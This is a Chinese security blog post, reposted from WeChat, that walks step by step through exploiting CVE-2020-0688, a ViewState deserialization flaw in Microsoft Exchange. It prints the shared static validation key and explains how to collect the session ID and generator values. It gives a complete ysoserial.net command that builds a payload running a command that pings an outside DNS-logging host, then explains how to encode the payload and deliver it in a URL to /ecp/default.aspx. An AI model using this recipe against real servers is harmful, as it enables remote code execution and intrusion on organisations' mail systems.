Exchange反序列化 CVE-2020-0688

admin 2023年8月5日12:40:04评论19 views字数 1447阅读4分49秒阅读模式

漏洞原理

这个漏洞是由于Exchange服务器在安装时没有正确地创建唯一的加密密钥所造成的。

具体来说,与正常软件安装每次都会产生随机密钥不同,所有Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。攻击者可以在ExchangeControl Panel web应用上执行任意.net代码。


想要利用该漏洞,我们需要四个参数,分别为:

--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)

--validationalg = SHA1(默认,漏洞产生原因)

--generator=B97B4E27(基本默认)

--viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)


在这四个变量中,前两个为默认固定,viewstateuserkey和generator的值需要从经过身份验证的session中收集。viewstateuserkey可以从ASP.NET的_SessionID cookie中获取,而generator可以在一个隐藏字段__VIEWSTATEGENERATOR中找到。


Exchange反序列化 CVE-2020-0688

Exchange反序列化 CVE-2020-0688

访问 /ecp/default.aspx,抓包,在包中获得 ASP.NET_SessionId 的值; 在响应包中获得 __VIEWSTATEGENERATOR 的值,如未找到可尝试通用值“B97B4E27”

Exchange反序列化 CVE-2020-0688

然后利用反序列化工具

Exchange反序列化 CVE-2020-0688


使用ysoserial工具生成反序列化payload。

工具下载地址:https://github.com/pwntester/ysoserial.net/


ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c ping 88tesl.dnslog.cn" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27"  --viewstateuserkey="dd66b9af-fc34-4e6c-a531-d202fa53cbe6" --isdebug --islegacy

注意一点,执行命令 -c 参数后面接 cmd /c whoami

构造攻击地址

在生成完payload代码后,需要对该代码进行URL Encode编码构造一个URL

注意

  

对生成的payload编码时,需要注意只编码关键的特殊字符即可,如果全编码的话会无法利用成功。


Exchange反序列化 CVE-2020-0688

/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>

将最开始获得的__VIEWSTATEGENERATOR值替换<generator>,将URL Encode编码后的payload替换<ViewState>

放在浏览器执行

执行成功,并且返回500

Exchange反序列化 CVE-2020-0688


成功啦

Exchange反序列化 CVE-2020-0688


原文始发于微信公众号(qin9):Exchange反序列化 CVE-2020-0688

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月5日12:40:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Exchange反序列化 CVE-2020-0688https://cn-sec.com/archives/964412.html

发表评论

匿名网友 填写信息